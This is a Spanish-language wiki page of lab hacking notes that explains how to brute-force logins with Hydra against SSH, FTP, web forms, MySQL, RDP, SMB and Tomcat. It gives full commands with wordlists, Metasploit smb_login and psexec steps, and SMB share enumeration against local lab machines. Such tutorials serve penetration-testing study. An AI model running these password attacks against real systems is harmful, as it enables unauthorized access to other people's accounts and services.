====== Hydra ====== Ataques de fuerza Bruta ===== SSH ===== Por ejemplo vamos a hacer un ataque donde ya sepamos cual es el usuario (el usuario se llama pi), pero no sabemos cual es la contraseña, por tanto para la contraseña pondremos -P, entonces lo haremos de esta manera. Y ahora irá probando uno a uno con el diccionario que le pasemos hasta haber acertado, donde la contraseña es raspberry: {{pasted_image_20230323030936.png|}} También puede darse el caso que de a medida que vaya probando intentos que nos lo vaya reportando, por tanto para esto utilizaremos la opción -vV: {{pasted_image_20230323030943.png|}} {{pasted_image_20230323030946.png|}} También puede darse el caso de que no conozcamos el usuario pero sí la contraseña; y en estos casos pondremos la opción -L en el usuario y en la contraseña le ponemos la p minúscula; y le pasamos el diccionario: {{pasted_image_20230323030953.png|}} Y ahora nos encontró el usuario: {{pasted_image_20230323031000.png|}} También podemos quitar la opción de que se nos vaya reportando todo el rato cada intento quitando la opción -vV: {{pasted_image_20230323031007.png|}} También podemos usar estos otros parámetros: hydra -t 64 -l axel -P rockyou.txt ssh://192.168.0.39 -F -I {{pasted_image_20230720160034.png|}} ===== FTP ===== Lo haremos igual pero especificando ftp después de la dirección IP: {{pasted_image_20230323031043.png|}} Aunque también podemos usar la opción -s 21 para referirnos al puerto de forma más manual: {{pasted_image_20230323031055.png|}} {{pasted_image_20230323031058.png|}} Incluso si los anteriores parámetros no nos han funcionado, también podemos hacerlo de esta otra forma: {{pasted_image_20230528204818.png|}} ===== Hydra - Ataque fuerza bruta contra panel de login web ===== Vamos a suponer que estamos ante un panel de login normal como este: {{pasted_image_20230323031126.png|}} Por tanto lo que debemos hacer es insertar unas credenciales normales e interceptar la petición con burp suite: {{pasted_image_20230323031134.png|}} E interceptamos la petición: {{pasted_image_20230323031140.png|}} Entonces, basándonos en los datos que nos proporciona burp suite al interceptar la petición, debemos poner el siguiente comando con hydra. Pondremos http-post-form porque se tramita con POST, tal y como vemos en burp suite. Pondremos dvwa/login.php porque lo podemos ver en burp suite en la primera línea. Pondremos también el username=^USER^&password=^PASS^ porque en la petición vemos la palabra username=canario&password=canario: {{pasted_image_20230323031147.png|}} Luego en el Login=Login failed lo ponemos para que Hydra sepa cual es la respuesta del servidor cada vez que una password no es correcta y esto lo podemos ver cuando introducimos una contraseña incorrecta manualmente: {{pasted_image_20230323031153.png|}} Y nos habrá encontrado la contraseña, que en este caso es admin: {{pasted_image_20230323031200.png|}} ==== ATAQUE A PANEL DE LOGIN WEB QUE CORRA POR OTRO PUERTO ==== Si nos encontramos con que el login a atacar corre por un puerto diferente, tenemos que utilizar estos parámetros: hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 443 -f http-post-form '/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password' {{pasted_image_20230819123031.png|}} [[:computing:hacking:ctf:TryHackMe:MAQUINA_INTERNAL|MAQUINA INTERNAL]] (wordpress wpscan, hydra http, portforwarding chisel y hacking jenkins en docker) ===== MySQL ===== Hacemos un reconocimiento con nmap para saber por donde está corriendo la base de datos MySQL: {{pasted_image_20230727155853.png|}} Lo haríamos con este comando: hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt 192.119.223.3 mysql Y nos encuentra la contraseña: {{pasted_image_20230727160938.png|}} ===== Protocolo_RDP_Puerto_3389 ===== hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://10.0.0.31 -s 3333 Y nos encuentra los siguientes usuarios: {{pasted_image_20230730165016.png|}} ===== SMB ===== Vamos a utilizar la máquina windows 7 que ya tiene habilitado el login por smb: {{pasted_image_20231105161016.png|}} Vemos que desde Kali podemos iniciar sesión: {{pasted_image_20231105161032.png|}} Por tanto, podemos intentar iniciar sesión por smb usando hydra, que lo haríamos de la siguiente forma: hydra -l mario -P /usr/share/wordlists/rockyou.txt smb://192.168.0.28 {{pasted_image_20231105161117.png|}} Aunque también podemos hacer otro ataque de fuerza bruta con el módulo de use auxiliary/scanner/smb/smb_login: {{pasted_image_20231105162621.png|}} Realizamos las configuraciones añadiendo el diccionario (rockyou o unix_passwords, RHOSTS y lanzamos el ataque): {{pasted_image_20231105163433.png|}} Y nos encuentra la contraseña: {{pasted_image_20231105163511.png|}} Una vez hecho esto, es posible que podamos entrar dentro de la máquina por psexec usando el siguiente módulo: use exploit/windows/smb/psexec Donde le cargamos los datos para iniciar sesión obtenidos anteriormente: {{pasted_image_20231105163717.png|}} Pero vemos que en este caso no funcionó: {{pasted_image_20231105163733.png|}} Pero sí que podemos entrar por smb y enumerar usando herramientas como smbmap: smbmap -H 192.168.0.28 -u mario -p 123123 -r Users {{pasted_image_20231105163828.png|}} Y una vez hayamos enumerado el recurso compartido ya podremos acceder a él usando smbclient: smbclient -U 'mario' //192.168.0.28/Users {{pasted_image_20231105164156.png|}} ===== TomCat ===== Podemos atacar el panel de login de un tomcat con hydra de la siguiente forma: {{pasted_image_20240115120606.png|}} hydra -t 64 -l tomcat -P /usr/share/wordlists/rockyou.txt -f 192.168.0.43 -s 8080 http-get /manager/html {{pasted_image_20240115120749.png|}}